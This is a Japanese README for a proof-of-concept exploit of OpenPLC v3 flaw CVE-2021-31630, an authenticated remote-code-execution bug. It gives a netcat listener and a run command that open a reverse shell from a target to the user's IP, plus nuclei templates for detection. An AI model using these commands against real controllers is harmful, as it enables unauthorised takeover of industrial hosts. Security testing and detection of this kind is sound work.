
これは、OpenPLC v3 の脆弱性 CVE-2021-31630 向けの、モダンな Python 3.13+ 互換の概念実証(PoC)エクスプロイトです。この脆弱性により、認証済みユーザーが悪意のあるコードを含むカスタムハードウェアレイヤーをアップロードし、ホスト上でリモートコード実行(RCE)を引き起こすことが可能になります。
元の脆弱性の発見とアドバイザリは Fellipe Oliveira によるものです。 この再実装および近代化版では、httpx、CLIツール、ロギング、より安全な検出技術を使用しています。
nc -lvnp 9001
python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001
オプションフラグ:
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080
2つ目のテンプレートはログインし、無害なペイロードのアップロードとコンパイルを試みて、実際のコード実行をトリガーせずに、脆弱性の可能性を確認します。
このコードは、教育および許可を得たセキュリティテスト専用です。 システム所有者からの明示的な許可なしに使用しないでください。